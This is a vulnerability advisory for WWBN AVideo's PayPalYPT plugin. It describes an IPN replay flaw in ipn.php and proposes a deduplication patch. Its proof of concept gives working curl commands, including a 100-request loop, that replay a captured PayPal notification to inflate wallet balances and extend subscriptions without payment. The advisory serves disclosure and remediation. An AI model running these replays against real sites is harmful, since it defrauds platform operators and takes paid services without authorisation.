WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php

PoC

# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.

# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow

# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.

# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'

# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
    -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'
done

# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.

Impact

• Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
• Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment.
• Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.

Recommended Fix

Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPT_log and check before processing:

// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:
} else {
    _error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} ");

    // Deduplication: check if this IPN was already processed
    $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];
    if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {
        _error_log("PayPalIPN: already processed, skipping");
        die(json_encode($obj));
    }

    $subscription = AVideoPlugin::loadPluginIfEnabled("Subscription");
    if (!empty($subscription)) {
        $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
        _error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) ");
        $users_id = $row['users_id'];
        $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
        $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
        if ($walletObject->currency===$payment_currency) {
            // Log the transaction for deduplication
            $pp = new PayPalYPT_log(0);
            $pp->setUsers_id($users_id);
            $pp->setRecurring_payment_id($dedup_key);
            $pp->setValue($payment_amount);
            $pp->setJson(['post' => $_POST]);
            if ($pp->save()) {
                $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
                Subscription::renew($users_id, $row['subscriptions_plans_id']);
                $obj->error = false;
            }
        } else {
            _error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency ");
        }
    }
}

Additionally, consider migrating the notify_url references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.